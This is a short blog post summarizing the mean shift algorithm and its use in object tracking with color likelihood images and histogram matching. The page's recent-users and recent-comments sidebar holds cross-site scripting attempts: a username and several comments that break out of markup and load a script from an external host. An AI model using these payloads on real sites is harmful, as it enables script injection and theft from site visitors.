Mean shift object tracking


Partly from http://www.cse.psu.edu/~rtc12/CSE598G/introMeanShift.pdf

Mean shift is an algorithm by iteratively moving the region of interest to the density center. 


image.png

It can be used as a clustering algorithm (points from the same cluster should have same or close final destinations)

It can also be used for object tracing. 

Two approaches exist. 

1. Create a color “likelihood” image, with pixels weighted by similarity to the desired color (best for unicolored objects)

Computation of likelihood can be based on • color • texture • shape (boundary) • predicted location

Perform standard mean-shift algorithm using this weighted set of points.

2. Represent color distribution with a histogram. Use mean-shift to find region that has most similar distribution of colors.

Choose a reference target model. Choose a feature space. Represent the model by its PDF in the feature space. Calculate similarity function of the reference and its neighbors. To allow the similarity function to be smooth, mask the target with an isotropic kernel in the spatial domain. Find best candidate by maximizing a similarity function.

image.pngimage.png

Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39